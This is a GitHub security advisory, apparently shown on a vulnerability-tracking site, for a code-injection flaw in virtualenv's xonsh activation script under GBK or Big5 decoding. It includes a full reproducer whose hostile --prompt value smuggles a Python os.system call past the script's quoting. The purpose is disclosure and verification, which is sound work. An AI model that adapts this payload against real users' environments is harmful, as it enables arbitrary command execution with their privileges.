GHSA-394H-QWMC-48PF

Vulnerability from github – Published: 2026-10-23 22:24 – Updated: 2026-10-23 22:24
VLAI
Summary
virtualenv: Xonsh activation literals depend on the script decoding codec
Details

Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.

Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

Affected code

The relevant 21.14.8 source is in xonsh quote(), UTF-8 template writer.

Mechanism

The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

Reproduction and evidence

The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. PR #3432 shows the xonsh source-decoding chain and changes quote() to ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that ast.literal_eval returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproducer files

The following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")

repro.d/activate_with_exec_open.py

#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")

repro.d/install_gbk_locale.py

#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sys.exit(f"zh_CN.GBK locale not usable: {codeset}")

repro.d/zh_CN_minimal.locale

comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases. Recreate environments with virtualenv 21.14.9 or later.

Affected release

  • [x] The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided review identified the remaining activation path.

Additional fix branch

PR #3411 also uses ASCII-only literals for paths and prompts, alongside its activation-state changes. Both branches must retain this quoting rule when integrated.

Severity
7.1 (High)
CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "virtualenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.14.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T22:24:43Z",
    "nvd_published_at": "2026-10-20T20:17:18Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh\u0027s `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `\u4e2d` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prompt supplier\n    participant V as virtualenv quote()\n    participant F as activate.xsh bytes\n    participant X as xonsh source\n    A-\u003e\u003eV: \u4e2d plus escaped quote and statements\n    V-\u003e\u003eF: repr writes UTF-8 \u4e2d followed by backslash\n    alt XONSH_ENCODING is UTF-8\n        F-\u003e\u003eX: backslash remains an escape\n        X--\u003e\u003eA: prompt remains data\n    else XONSH_ENCODING is GBK or Big5\n        F-\u003e\u003eX: decoder consumes backslash as trail byte\n        X-\u003e\u003eX: quote closes and statements run\n    end\n    Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload\u0027s \" makes repr() delimit with \u0027 and write the prompt\u0027s own \u0027 as \\\u0027\n# \u4e2d is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f\u0027__import__(\"os\").system(\"touch {marker}\")\u0027\nhostile_prompt = \"\u4e2d\" + \"\u0027;\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b\u0027os.environ[\"VIRTUAL_ENV_PROMPT\"]\u0027))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode(\u0027utf-8\u0027)}\")\nprint(f\"activate_this.py read as GBK:   {prompt_line.decode(\u0027gbk\u0027)}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py\u0027s docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ[\u0027VIRTUAL_ENV_PROMPT\u0027]}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc\u0027s localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\"\u003ccode_set_name\u003e GBK\", \"\u003ccomment_char\u003e %\", \"\u003cescape_char\u003e /\", \"\u003cmb_cur_min\u003e 1\", \"\u003cmb_cur_max\u003e 2\", \"CHARMAP\"]\ncharmap += [f\"\u003cU{byte:04X}\u003e /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n    for trail in range(0x40, 0xFF):\n        try:\n            char = bytes([lead, trail]).decode(\"gbk\")\n        except UnicodeDecodeError:\n            continue\n        charmap.append(f\"\u003cU{ord(char):04X}\u003e /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n    charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n    sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc\u0027s locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper \u003cU0041\u003e..\u003cU005A\u003e\nlower \u003cU0061\u003e..\u003cU007A\u003e\ndigit \u003cU0030\u003e..\u003cU0039\u003e\nspace \u003cU0009\u003e..\u003cU000D\u003e;\u003cU0020\u003e\ncntrl \u003cU0000\u003e..\u003cU001F\u003e;\u003cU007F\u003e\npunct \u003cU0021\u003e..\u003cU002F\u003e;\u003cU003A\u003e..\u003cU0040\u003e;\u003cU005B\u003e..\u003cU0060\u003e;\u003cU007B\u003e..\u003cU007E\u003e\nxdigit \u003cU0030\u003e..\u003cU0039\u003e;\u003cU0041\u003e..\u003cU0046\u003e;\u003cU0061\u003e..\u003cU0066\u003e\nblank \u003cU0009\u003e;\u003cU0020\u003e\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user\u0027s privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic\u0027s OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.",
  "id": "GHSA-394h-qwmc-48pf",
  "modified": "2026-10-23T22:24:43Z",
  "published": "2026-10-23T22:24:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Xonsh activation literals depend on the script decoding codec"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.